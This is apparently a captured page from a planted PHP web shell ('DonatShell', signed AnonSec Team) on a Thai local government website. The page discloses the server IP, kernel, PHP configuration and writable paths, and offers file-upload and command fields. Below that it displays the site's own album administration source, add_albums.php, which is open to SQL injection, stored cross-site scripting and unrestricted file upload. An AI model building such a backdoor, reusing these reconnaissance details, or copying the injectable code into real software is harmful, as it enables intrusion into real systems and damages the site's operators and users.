%PDF-1.5 % ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 122.155.177.87  /  Your IP : 122.155.177.87
Web Server : Apache/2
System : Linux cat177-87.static.lnwhostname.com 3.10.0-1160.62.1.el7.x86_64 #1 SMP Tue Apr 5 16:57:59 UTC 2022 x86_64
User : apache ( 994)
PHP Version : 5.3.29
Disable Function : dl,eval,exec,mail,passthru,popen,posix_getpwuid,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_uname,proc_close,proc_open,putenv,shell_exec,show_source,system
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/moungngam/domains/moungngam.go.th/public_html/albums/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/moungngam/domains/moungngam.go.th/public_html/albums/add_albums.php
<?
session_start();
Header("Content-Type: text/html; charset=UTF-8");
if($_SESSION[user]==""){
session_destroy();
$message = "กรุณา Login ก่อน.";
$url = "../admin/index.php";
include("../admin/alert.php");
exit;
 }
include("../include/function.php");
include("../include/config_db.php");

if($_GET["c_id"])
{
	$c_id = $_GET["c_id"];
}else
{
	$c_id = $_POST["c_id"];
}

if($_POST["chk_edit"]==1)
{

	function random_password($len)
	{
		srand((double)microtime()*10000000);
		$chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
		$ret_str = "";
		$num = strlen($chars);
		for($i = 0; $i < $len; $i++)
		{
			$ret_str.= $chars[rand()%$num];
			$ret_str.=""; 
		}
		return $ret_str; 
	}
	// echo random_password(8); 

	$photo1 = $_POST["photo1"];

	$passw1 = random_password(7);
	$path1="../photoThumbnail/albums/thumb/"; 
	$file1 = stripcslashes($_FILES['file1']['tmp_name']);
	$file_name1=basename($_FILES['file1']['name']);	
	$filenewcon1 = strstr($file_name1,'.');
	$filename1 = utf8_substr($file_name1,0,strlen($file_name1)-4);
	
	$now1 = date("Ymd");

	if(!empty($file1))
	{
		if(strlen($filename1) > 10){
			$filename1 = trim(utf8_substr($filename1,0,10));
		}
		$filename1 = $filename1.'_';
		$filesize1 =$_FILES['file1']['size'];
		$real_file =$file1;
		list($width, $height, $type, ) = getimagesize($real_file);

		$new_type= "";
		if($_FILES['file1']['type']=="image/gif"){ $new_type="IMG_GIF"; }
		if($_FILES['file1']['type']=="image/png"){ $new_type="IMG_PNG"; }
		if($_FILES['file1']['type']=="image/pjpeg" || $_FILES['file1']['type']=="image/jpeg" ){ $new_type="IMG_JPG"; }

		if(($width>250) or ($height>200))
		{
			// สร้างภาพ thumbnails ขนาด กว้างไม่เกิน 150px สูงไม่เกิน 100px
			if($width>=$height){
				$new_width = 250;
				$new_height = round(($new_width/$width)  *  $height);
			}else{
				$new_height = 200;
				$new_width = round(($new_height/$height)  *  $width);
			}

			$new_file ="$path1/$filename1$passw1$now1$filenewcon1";

			switch ($new_type) 
			{
			case "IMG_GIF":
				$image = imagecreatefromgif($real_file);
				break;
			case "IMG_JPG":
				$image = imagecreatefromjpeg($real_file);
				break;
			case "IMG_PNG":
				$image = imagecreatefrompng($real_file);
				break;
			}
						
			$new_image = ImageCreateTrueColor($new_width, $new_height);
			ImageCopyResampled($new_image, $image, 0, 0, 0, 0, $new_width, $new_height, $width, $height);

			switch ($new_type)
			{
				case "IMG_GIF":
					imagegif($new_image, $new_file);
					break;
				case "IMG_JPG":
					imagejpeg($new_image, $new_file);
					break;
				case "IMG_PNG":
					imagepng($new_image, $new_file);
					break;
			}

			imagedestroy($image);
			imagedestroy($new_image);
			@chmod( $new_file, 0666);
		}
		else
		{
			move_uploaded_file( $file1 ,"$path1/$filename1$passw1$now1$filenewcon1");
		}
		if($c_id>0)
		{
			$sql = "update `activity_album` set `alb_thumb`='$filename1$passw1$now1$filenewcon1' where (`id`='$c_id')";
			$dbquery = mysql_query($sql) or die("Can't send query !1");
		}
	}
	else
	{ 
		$passw1 = '';
		$now1 = '';
		$filenewcon1 = '';
		if($photo1=='NO_picture'){
			$sql = "update `activity_album` set `alb_thumb`='' where (`id`='$c_id')";
			$dbquery = mysql_query($sql) or die("Can't send query !2");
		}
	}

	$s_order_item = $_POST["s_order_item"];
	$s_alb_title = $_POST["s_alb_title"];
	$s_alb_description = $_POST["s_alb_description"];
	$s_alb_clip = $_POST["s_alb_clip"];
	$s_date_publish = $_POST["s_date_publish"];
	if(trim($s_date_publish)==""){
		$s_date_publish = date("Y-m-d",time());
	}

	$sql = "select `id` from `activity_album` where (`id`='$c_id')";
	$dbquery = mysql_query($sql) or die("Can't send query !3");
	$num_rows = mysql_num_rows($dbquery);
	mysql_free_result($dbquery);
	if($num_rows > 0) {
		$sql = "update `activity_album` set `order_item`='$s_order_item',`alb_title`='$s_alb_title',`alb_description`='$s_alb_description',`alb_clip`='$s_alb_clip',`date_publish`='$s_date_publish',`date_update`=now() where (`id`='$c_id')";
		$dbquery = mysql_query($sql) or die("ไม่สามารถบันทึกข้อมูลได้ !A");
		$c_id = '';
	}else {
		if($s_alb_title != ''){
			$sql = "insert into `activity_album` (`id`,`order_item`,`alb_title`,`alb_thumb`,`alb_description`,`alb_clip`,`date_publish`,`date_update`) values ('','$s_order_item','$s_alb_title','$filename1$passw1$now1$filenewcon1','$s_alb_description','$s_alb_clip','$s_date_publish',now())";
			$dbquery = mysql_query($sql) or die("ไม่สามารถบันทึกข้อมูลได้ !B");
		}
	}

}
    
	$c_order_item = 0;
	$c_alb_title = '';
	$c_alb_thumb = '';
	$c_alb_description = '';
	$c_alb_clip = '';
	$s_date_publish = "";

	if(isset($c_id))
	{
		if($c_id>0)
		{
			$sql = "select * from `activity_album` where (`id`='$c_id')";
			$dbquery = mysql_query($sql) or die("Can't send query !4");
			$num_rows = mysql_num_rows($dbquery);
			if($num_rows>0)
			{
				$c_order_item = mysql_result($dbquery, 0,"order_item");
				$c_alb_title = mysql_result($dbquery, 0,"alb_title");
				$c_alb_thumb = mysql_result($dbquery, 0,"alb_thumb");
				$c_alb_thumb = trim($c_alb_thumb);
				$c_alb_description = mysql_result($dbquery, 0,"alb_description");
				$c_alb_clip = mysql_result($dbquery, 0,"alb_clip");
				$s_date_publish = mysql_result($dbquery, 0,"date_publish");
			}
			mysql_free_result($dbquery);
			unset($dbquery);
		}
	}

?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<HTML>
<head>
<title></title>
<link href="stylecss.css" rel="stylesheet" type="text/css">
<SCRIPT LANGUAGE="JavaScript">
function c_check()
{
	if(document.getElementById('s_alb_title').value == "")
	{
		alert("'ชื่ออัลบั้ม' จำเป็นต้องมีข้อมูล !");
		document.getElementById('s_alb_title').focus();
		return false;
	}
}
</SCRIPT>
<script language="JavaScript" type="text/JavaScript">
function loadPicture(pid,fid)
{
	var files = fid.files;
        for (var i = 0; i < files.length; i++) {           
            var file = files[i];
            var imageType = /image.*/;     
            if (!file.type.match(imageType)) {
                continue;
            }           
            var img=document.getElementById(pid);            
            img.file = file;    
            var reader = new FileReader();
            reader.onload = (function(aImg) { 
                return function(e) { 
                    aImg.src = e.target.result; 
                }; 
            })(img);
            reader.readAsDataURL(file);
        }
}
</script>
</head>
<body background="/" style="background-repeat:no-repeat; background-position:top">
<div align="center" >
  <table width="1200" border="0" cellpadding="0" cellspacing="0">
    <tr>
      <td valign="top">
	  <div align="center" >
		<table width="980" border="0" cellpadding="0" cellspacing="0">
			 
			 
			  <tr>
      <td valign="top">
	  <div align="center">                        
        <table width="980" border="0" cellpadding="0" cellspacing="0">
          <tr>
            <td valign="top"><table width="980" border="0" cellpadding="0" cellspacing="0">
          <tr>
            <td valign="top">&nbsp;</td>
          </tr>
        </table></td>
          </tr>
        </table>
      </div>
	  </td>
    </tr>




		<tr>
      <td valign="top">
		  <div align="center">
			<style>
body{
   
    font-family:Tahoma, "Sarabun", sans-serif;
}

/* กล่องหลัก */
.admin-wrapper{
    width:95%;
    max-width:1300px;
    margin:20px auto;
    background:#fff;
    border-radius:18px;
    overflow:hidden;
    box-shadow:0 10px 35px rgba(0,0,0,.12);
}

/* Header */
.admin-header{
    background:linear-gradient(135deg,#1565C0,#1976D2,#42A5F5);
    color:#fff;
    padding:22px 35px;
    display:flex;
    justify-content:space-between;
    align-items:center;
    flex-wrap:wrap;
}

.admin-title{
    font-size:30px;
    font-weight:bold;
}

.admin-sub{
    font-size:14px;
    opacity:.9;
}

/* เมนู */
.admin-menu{
    background:#ffffff;
    border-bottom:1px solid #E5E5E5;
    padding:15px 25px;
    display:flex;
    justify-content:flex-end;
    gap:12px;
    flex-wrap:wrap;
}

.admin-menu a{
    text-decoration:none;
    color:#1565C0;
    font-weight:bold;
    background:#EEF6FF;
    border:1px solid #CFE4FF;
    padding:10px 20px;
    border-radius:30px;
    transition:.3s;
}

.admin-menu a:hover{
    background:#1565C0;
    color:#fff;
    transform:translateY(-2px);
}

/* เนื้อหา */
.admin-content{
    padding:35px;
    min-height:150px;
}

/* กล่องข้อความ */
.notice{
    background:#F8FBFF;
    border-left:5px solid #1976D2;
    padding:18px;
    border-radius:8px;
    color:#555;
    margin-bottom:25px;
}

@media(max-width:768px){

.admin-header{
    text-align:center;
    justify-content:center;
}

.admin-menu{
    justify-content:center;
}

.admin-content{
    padding:20px;
}

.admin-title{
    font-size:24px;
}

}
</style>


<div class="admin-wrapper">

    <div class="admin-header">

        <div>
            <div class="admin-title">
                📸 ระบบจัดการอัลบั้มภาพ
            </div>

            <div class="admin-sub">
                Photo Album Management System
            </div>
        </div>

    </div>


    <div class="admin-menu">
      <a href="/index.php">
            🏠 หน้าแรกของเว็บไซต์
        </a>

        <a href="../admin/main.php">
            🏠 หน้า Admin
        </a>

        <a href="./add_albums.php#top_page">
            📂 จัดการอัลบั้ม
        </a>

        <a href="../admin/signout.php">
            🚪 ออกจากระบบ
        </a>

    </div>

    <a name="top_page"></a>

    <div class="admin-content">

        <div class="notice">
            📢 ยินดีต้อนรับเข้าสู่ระบบจัดการอัลบั้มภาพ
            กรุณาเลือกเมนูด้านบนเพื่อเพิ่ม แก้ไข หรือลบรูปภาพในอัลบั้ม
        </div>

        <!-- เนื้อหาเดิมทั้งหมดของคุณ วางต่อจากตรงนี้ -->

    </div>

</div>
</div>
			</td>
			</tr>
		</table>
	</div>
	  </td>
    </tr>
    <tr>
          <td valign="top">
		  <div align="center">

			
<link rel="preconnect" href="https://fonts.googleapis.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<link href="https://fonts.googleapis.com/css2?family=Noto+Serif+Thai:wght@500;600;700&family=Noto+Sans+Thai:wght@400;500;600;700&display=swap" rel="stylesheet">
<script language="JavaScript1.2" src="jscript/calendar/script.js" type="text/javascript"></script>
<script language="JavaScript1.2" src="jscript/calendar/calendar.js" type="text/javascript"></script>
<script language="JavaScript1.2" src="jscript/calendar/calendar-th.js" type="text/javascript"></script>
<script language="JavaScript1.2" src="jscript/calendar/calendar-setup.js" type="text/javascript"></script>
<link href="theme/calendar/calendar-blue.css" rel="stylesheet" type="text/css" media="all" title="win2k-1">
<style>
  :root{
    --pond-deep:#0f3d3e;
    --pond-mid:#155352;
    --gold:#c9a227;
    --gold-soft:#e7c85f;
    --cream:#fbf7ee;
    --paper:#f3ede0;
    --ink:#1c2b28;
    --ink-soft:#5b6b66;
    --line:#d9cfb3;
    --radius:14px;
  }
  *{box-sizing:border-box;}
  html,body{margin:0;padding:0;}
  body{
    background:var(--paper);
    font-family:'Noto Sans Thai','Noto Sans',sans-serif;
    color:var(--ink);
  }
  .wrap{ max-width:1080px; margin:0 auto; padding:26px 20px 60px; }

  /* hero + admin bar */
  .hero{ text-align:center; margin:6px 0 4px; }
  .hero img{ max-width:100%; height:auto; border-radius:10px; }
  .adminbar{
    text-align:right;
    font-size:13px;
    color:var(--ink-soft);
    margin:8px 0 20px;
  }
  .adminbar a{ color:var(--pond-deep); text-decoration:none; font-weight:600; }
  .adminbar a:hover{ color:#a8461b; }

  /* outer card */
  table.magnifyarea{
    width:100%;
    border-collapse:separate;
    border-spacing:0;
    border:1px solid var(--line);
    border-radius:var(--radius);
    overflow:hidden;
    background:var(--cream);
    box-shadow:0 1px 2px rgba(15,61,62,0.06), 0 10px 30px -18px rgba(15,61,62,0.35);
  }
  .panel-title-row td{
    background:linear-gradient(155deg, var(--pond-deep) 0%, var(--pond-mid) 100%) !important;
    padding:15px 18px;
  }
  .panel-title-row font{
    font-family:'Noto Serif Thai',serif;
    font-weight:700 !important;
    font-size:16px;
    color:var(--cream) !important;
    letter-spacing:.01em;
  }

  /* form area */
  .form-table{ width:100%; }
  .form-table td{
    padding:10px 12px;
    font-size:13.5px;
    color:var(--ink);
    vertical-align:top;
  }
  .form-table td[align="right"]{
    color:var(--ink-soft);
    font-weight:600;
    white-space:nowrap;
    padding-top:12px;
  }
  .form-table input[type="text"],
  .form-table textarea{
    width:100%;
    max-width:480px;
    padding:8px 11px;
    border:1px solid var(--line);
    border-radius:8px;
    background:#fff;
    font-family:inherit;
    font-size:13.5px;
    color:var(--ink);
    outline:none;
    transition:border-color .15s ease, box-shadow .15s ease;
  }
  .form-table input[type="text"]:focus,
  .form-table textarea:focus{
    border-color:var(--gold);
    box-shadow:0 0 0 3px rgba(201,162,39,0.18);
  }
  .hint-red{ color:#a8461b; font-size:12px; }

  .thumb-frame{
    display:inline-block;
    padding:6px;
    background:#fff;
    border:1px solid var(--line);
    border-radius:10px;
    margin-bottom:8px;
  }
  .thumb-frame img{ display:block; border-radius:6px; }

  input[type="file"]{
    font-size:12.5px;
    color:var(--ink-soft);
  }
  .btn-clear{
    height:26px !important;
    padding:0 12px;
    border-radius:7px;
    border:1px solid var(--line);
    background:var(--cream);
    color:var(--ink-soft);
    font-size:12px;
    cursor:pointer;
  }
  .btn-clear:hover{ border-color:var(--gold); color:#a8461b; }

  .cal-icon{
    border-radius:5px;
    vertical-align:middle;
    margin-left:6px;
  }

  .form-actions{ text-align:center; padding-top:6px; }
  input[type="submit"], input[type="reset"]{
    font-family:'Noto Sans Thai',sans-serif;
    font-weight:600;
    font-size:13.5px;
    padding:9px 24px;
    border-radius:9px;
    cursor:pointer;
    border:none;
  }
  input[type="submit"]{
    background:linear-gradient(135deg,var(--pond-mid),var(--pond-deep));
    color:var(--cream);
    margin-right:8px;
  }
  input[type="submit"]:hover{ filter:brightness(1.1); }
  input[type="reset"]{
    background:#fff;
    border:1px solid var(--line);
    color:var(--ink-soft);
  }
  input[type="reset"]:hover{ border-color:var(--gold); color:#a8461b; }

  /* listing header */
  .listing-head td{
    background:#eef3f0;
    color:var(--pond-deep);
    font-weight:700;
    font-size:12.5px;
    padding:10px 8px;
    border-bottom:1px solid var(--line);
  }
  .listing-head a{ color:var(--pond-deep); text-decoration:none; }
  .listing-head a:hover{ color:var(--gold); }

  /* listing rows */
  .listing-table{ width:100%; border-collapse:collapse; }
  .listing-table td{
    padding:11px 8px;
    font-size:13px;
    color:var(--ink);
    vertical-align:middle;
    border-bottom:1px solid var(--line);
  }
  .listing-table a{ color:var(--pond-mid); text-decoration:none; font-weight:600; }
  .listing-table a:hover{ color:#a8461b; }
  .listing-table img{
    border-radius:7px;
    border:1px solid var(--line);
    background:#fff;
  }
  .row-even{ background:#fff; }
  .row-odd{ background:#f6f1e4; }

  .list-footer{
    padding:16px 10px 4px;
    text-align:center;
  }
  .list-footer font{
    font-size:12.5px !important;
    color:var(--ink-soft) !important;
  }
  .list-footer a{ color:var(--pond-deep); text-decoration:none; font-weight:600; }
  .list-footer a:hover{ color:var(--gold); }
  .list-footer b{ color:var(--gold); }
  .list-footer hr{ border:none; border-top:1px solid var(--line); margin:6px 0 10px; }
</style>

<div class="wrap">

<table width="90%" border="0" cellspacing="0" cellpadding="0" align="center">
			<tr>
			  <td valign="top"><div align="center">
			    <map name="Map25" id="Map25">
                    <area shape="rect" coords="10,10,98,54" href="http://www.anubalkhunkunschool.ac.th/index.php" />
                    <area shape="rect" coords="113,10,232,49" href="http://www.anubalkhunkunschool.ac.th/news.php?cat_id=10" />
                    <area shape="rect" coords="256,13,357,50" href="http://www.anubalkhunkunschool.ac.th/manage.php" />
                    <area shape="rect" coords="748,12,863,54" href="http://www.anubalkhunkunschool.ac.th/general5.php" />
                    <area shape="rect" coords="878,15,963,52" href="http://www.anubalkhunkunschool.ac.th/contacts/?scon_id=1" />
                    <area shape="rect" coords="632,8,733,50" href="http://www.anubalkhunkunschool.ac.th/news.php?cat_id=10" target="_blank" />
                  </map>
			  </div></td>
			  </tr>
			<tr><td height="30" valign="top">&nbsp;<a name="toppage"></a></td>
			</tr>
			
			<tr>
				<td class="adminbar"><a href="../admin/main.php">หน้า Admin</a> | <a href="../admin/signout.php">ออกจากระบบ</a></td>
            </tr>

			<tr>
			<td>
				 <table width="100%" border="0" cellspacing="0" cellpadding="0" align="center" class="magnifyarea">
				  <tr class="panel-title-row">
					<td align="center" colspan="4"><font><b>โปรแกรมภาพกิจกรรม</b></font></td>
				  </tr>
				  <form enctype="multipart/form-data" name="form1" method="post" action="add_albums.php#toppage" onSubmit="return c_check();">
				  <tr>
					<td>
						<table width="100%" border="0" cellspacing="0" cellpadding="0" class="form-table">
						  <tr>
							<td colspan="2">&nbsp;</td>
						  </tr>
						  <tr>
							<td align="right" width="35%">ชื่ออัลบั้ม : &nbsp;</td>
							<td><input type="text" name="s_alb_title" id="s_alb_title" size="50" value="<? echo $c_alb_title; ?>" maxlength="120">							</td>
						  </tr>
						  <tr>
							<td align="right" valign="top">รายละเอียด : &nbsp;</td>
							<td><textarea name="s_alb_description" id="s_alb_description" cols="50" rows="15"><? echo $c_alb_description; ?></textarea>							</td>
						  </tr>
						  <tr>
							<td align="right" valign="top">Clip Video : &nbsp;</td>
							<td><textarea name="s_alb_clip" id="s_alb_clip" cols="50" rows="3"><? echo $c_alb_clip; ?></textarea>							</td>
						  </tr>
						  <tr>
							<td  align="right" valign="top" >ภาพกิจกรรมใช้ในหน้ารวมอัลบั้ม : &nbsp;<br>(กว้าง 150 px ,สูง 100 px) : &nbsp;</td>
							<td valign="center" colspan="3">
								<div class="thumb-frame">
								<?
								if($c_alb_thumb != ""){
									$images = "../photoThumbnail/albums/thumb/".$c_alb_thumb;
									echo "<img src=\"$images\" height=\"100\" id=\"photoImage1\"> ";
								}
								else{
									$images = "images/noimage.gif";
									echo "<img src=\"$images\" width=\"150\" height=\"100\" id=\"photoImage1\"> ";
								}
								?>
								</div>
								<br><input type="file" name="file1"id="file1" size="30" onchange="loadPicture('photoImage1',this);">&nbsp;&nbsp;
								<input name="view1" id="view1" type="button" class="btn-clear" onclick="javascript:void(photoImage1.src = 'images/noimage.gif',document.form1.photo1.value='NO_picture')" value="Clear">							</td>
						  </tr>
						   <tr>
							<td align="right">วันที่ประกาศ : &nbsp;</td>
							<td><input type="text" name="s_date_publish" size="10"  id="s_date_publish"  value="<? echo $s_date_publish;?>">
							<img src='images/cal.jpg' id='img_idate1' class="cal-icon" style='cursor: pointer; border: 1px solid #505050;' title='ตัวเลือกปฏิทิน' onmouseover='this.style.background="red";' onmouseout='this.style.background="";' border='0' align='absmiddle' alt=''>
							<script type='text/javascript'>
							Calendar.setup({
							inputField : 's_date_publish', ifFormat : 'y-mm-dd',
							button : 'img_idate1',
							align : 'Bl',
							singleClick : true });
							</script>
							&nbsp;<span class="hint-red">yyyy-mm-dd (ค.ศ.)</span>							</td>
						  </tr>
						  <tr>
							<td align="right">Order : &nbsp;</td>
							<td><input type="text" name="s_order_item" id="s_order_item" size="5" value="<? echo $c_order_item; ?>" maxlength="15">							</td>
						  </tr>
						  <tr>
							<td colspan="2">&nbsp;</td>
						  </tr>
						  <tr>
							  <td colspan="2" class="form-actions">
								<input type="hidden" name="c_id" id="c_id" value="<? if($c_id){ echo $c_id;}else{ echo '';}?>">
								<input type="hidden" name="chk_edit" id="chk_edit" value="1"> 
								<input type="hidden" name="photo1" id="photo1">
								<input type="submit" name="Submit" id="Submit" value="บันทึกข้อมูล">
								<input type="reset" name="Reset" id="Reset" value="Reset">							  </td>
						  </tr>
						  <tr>
							  <td colspan="2">&nbsp;</td>
						  </tr>
						</table>					</td>
				  </tr>
				  </form>

				  <tr>
				  <td  valign="top">

					  <?
					  $sh_order = $_GET["sh_order"];
					  if(isset($sh_order)){$sp_order = $sh_order;}else{$sp_order = 0;}
					  if($sh_order==1){$sh_order=0;}else{$sh_order=1;}
					  ?>

					  <table width="100%" align="center" cellspacing="0" cellpadding="0" frame="below" >
						  <tr class="listing-head">
						  <td width="10%" colspan="2">&nbsp;<a name="top_page"></a>						  </td>
						  <td width="5%" align="center">&nbsp;						  </td>
						  <td width="5%" align="center"><a href="add_albums.php?sd=1&sh_order=<?=$sh_order;?>#top_page" target="_parent">ID</a>						  </td>
						   <td width="5%" align="center"><a href="add_albums.php?sd=2&sh_order=<?=$sh_order;?>#top_page" target="_parent">Order</a>						  </td>
						  <td width="25%">&nbsp;&nbsp;<a href="add_albums.php?sd=3&sh_order=<?=$sh_order;?>#top_page" target="_parent">ชื่ออัลบั้ม</a>						  </td>
						  <td width="20%" align="center">ภาพ&nbsp;&nbsp;						  </td>
						  <td width="10%"  align="center"><a href="add_albums.php?sd=4&sh_order=<?=$sh_order;?>#top_page" target="_parent">วันที่ประกาศ</a>						  </td>
						  <td width="10%"  align="center"><a href="add_albums.php?sd=5&sh_order=<?=$sh_order;?>#top_page" target="_parent">วันที่บันทึก</a>						  </td>
						  <td width="10%"  align="center"><a href="add_albums.php?sd=6&sh_order=<?=$sh_order;?>#top_page" target="_parent">Counter</a>						  </td>
						  </tr>
					  </table>
					  <table width="100%" border="0" align="center" cellspacing="0" cellpadding="0" class="listing-table">
						<? 
						$sql = "select * From `activity_album` where (`id`>0) ";
						$sd = trim($_GET["sd"]);
						switch ($sd) {
							case '1': $sql .= "Order by `id` "; break;
							case '2': $sql .= "Order by `order_item` "; break;
							case '3': $sql .= "Order by `alb_title` "; break;
							case '4': $sql .= "Order by `date_publish` "; break;
							case '5': $sql .= "Order by `date_update` "; break;
							case '6': $sql .= "Order by `alb_counter` "; break;
							default : $sql .= "Order by `id` ";
						}
						if($sh_order==1){$sql .= "DESC ";}else	{$sql .= "ASC ";}

						$item = 0;
						$Per_Page = 30;
						if(!$_GET['Page'])
						{
							$Page=1;
						}else
						{
							$Page = $_GET['Page'];
						}
						$Prev_Page = $Page-1;
						$Next_Page = $Page+1;
						$Page_start = ($Per_Page*$Page)-$Per_Page;
						$sql_2 = "SELECT COUNT(*) AS num_rows_2 FROM `activity_album` where (`id`>0) ";
						$dbquery = mysql_query($sql_2);
						$Num_Rows = mysql_num_rows($dbquery);
						if($Num_Rows>0){
							$Num_Rows = mysql_result($dbquery, 0,"num_rows_2");
						}
						mysql_free_result($dbquery);
						unset($dbquery);
						if($Num_Rows<=$Per_Page)
						$Num_Pages =1;
						else if(($Num_Rows % $Per_Page)==0)
						$Num_Pages =($Num_Rows/$Per_Page) ;
						else 
						$Num_Pages =($Num_Rows/$Per_Page) +1;
						$Num_Pages = (int)$Num_Pages;
						if(($Page>$Num_Pages) || ($Page<0))
						print "<center><b>ยังไม่มีข้อมูล<b></center>";
						$sql .= "LIMIT $Page_start , $Per_Page";
						//ส่วนแสดงผล
						$result = mysql_query($sql);
						$item = ($Page-1) * $Per_Page;

						While($row= mysql_fetch_assoc($result)){
						$item = $item + 1;
						$c_id = $row["id"];
						$c_order_item = $row["order_item"];
						$c_alb_title = $row["alb_title"];
						$c_thumb = $row["alb_thumb"];
						$c_thumb = trim($c_thumb);
						$c_counter = $row["alb_counter"];
						$c_date_publish = $row["date_publish"];
						$c_date_update = $row["date_update"];

						if($c_thumb != ""){
							$images = "../photoThumbnail/albums/thumb/".$c_thumb;
						}
						else{
							$images = "images/noimage.gif";
						}

						$bcolor = "row-even";
						if(($item %2)==0){
							$bcolor = "row-odd";
						}
						$code_1 = $c_alb_title;

						?>
						<tr class="<?=$bcolor;?>">
						<td width="5%" align="center">
						<?
						echo "<a href='add_albums.php?c_id=$c_id#toppage'>แก้ไข</a>";
						?>						</td>
						<td width="5%"align="center">
						<?
						echo "<a href='del_data.php?c_id=$c_id&chk_p=1&c_thumb=$c_thumb&code_id=$c_id&code_1=$code_1#toppage'>ลบ</a>";
						?>						</td>
						<td width="5%" align="center">
						<?
						echo "<a href='add_picture.php?salb_id=$c_id#pageimage'>เพิ่มรูป</a>";
						?>						</td>
						<td width="5%" align="center">
						<?= $c_id;?>						</td>
						<td width="5%" align="center">
						<?= $c_order_item;?>						</td>
						<td width="25%">&nbsp;&nbsp;
						<?= $c_alb_title;?>						</td>
						<td width="20%" align="center">
						<? echo "<img src=\"$images\" height=\"100\"> "; ?>						</td>
						<td width="10%" align="center">
						<?= $c_date_publish;?>						</td>
						<td width="10%" align="center">
						<?= $c_date_update;?>						</td>
						<td width="10%" align="center">
						<?= $c_counter;?>						</td>
						</tr>

						<?}?>
						</table>
						<div class="list-footer">
						<hr align="center" width="100%" noshade size="1">
						<div align="center"><br><font size="2">
						จำนวนรายการ : 
						<?= $Num_Rows;?>&nbsp
						,หน้าทั้งหมด : <b> 
						<?=$Num_Pages;?>
						</b> หน้า : 
						<?
						$PHP_SELF = $_SERVER['PHP_SELF'];
						if($Prev_Page) 
						echo " <a href='$PHP_SELF?Page=$Prev_Page&sd=$sd&sh_order=$sp_order#top_page'><<ย้อนกลับ</a> ";
						$Show_Page = 10;
						$s1 = $Page - $Show_Page;
						if($s1 <= 0 ){$s1 = 1;}
						$s2 =  $Page + $Show_Page;
						if($s2 > $Num_Pages){$s2 = $Num_Pages;}
						if($s1 == 1 ){
							$s2 = $Show_Page+10;
							if($s2 > $Num_Pages){$s2 = $Num_Pages;}
						}
						if(($s2 == $Num_Pages) &&($s1 != 1)){
							$s1 = $Num_Pages-20;
							if($s1 <= 0 ){$s1 = 1;}
						}

						for($i=$s1; $i<=$s2; $i++)
						{
							if($i != $Page)
							{
								echo "[<a href='$PHP_SELF?Page=$i&sd=$sd&sh_order=$sp_order'>$i</a>]";
							}
							else
							{
								echo "<b> $i </b>";
							}
						}
						if($Num_Pages>($i-1))
						{
							if($Num_Pages>($i+1))
							{
								$bNum_Pages = $Num_Pages - 1;
								echo "...[<a href ='$PHP_SELF?Page=$bNum_Pages&sd=$sd&sh_order=$sp_order#top_page'>$bNum_Pages</a>]";
							}else if($Num_Pages==($i+1))
							{
								$bNum_Pages = $i;
								echo "[<a href ='$PHP_SELF?Page=$bNum_Pages&sd=$sd&sh_order=$sp_order#top_page'>$bNum_Pages</a>]";
							}
							echo "[<a href ='$PHP_SELF?Page=$Num_Pages&sd=$sd&sh_order=$sp_order#top_page'>$Num_Pages</a>]";
						}

						if($Page!=$Num_Pages)
						echo " <a href ='$PHP_SELF?Page=$Next_Page&sd=$sd&sh_order=$sp_order#top_page'>ถัดไป>></a> ";
						mysql_free_result($result);
						unset($result);
						unset($dbquery);
						include("../include/close_db.php");

						?>
						
						</font></div>
						</div>					</td>
					</tr>
				</table>			</td>
			</tr>
			<tr><td>&nbsp;</td></tr>
			</table>

</div>


		</div>
		</td>
		</tr>
	</table>
</div>
</body>
</html>

Anon7 - 2022
AnonSec Team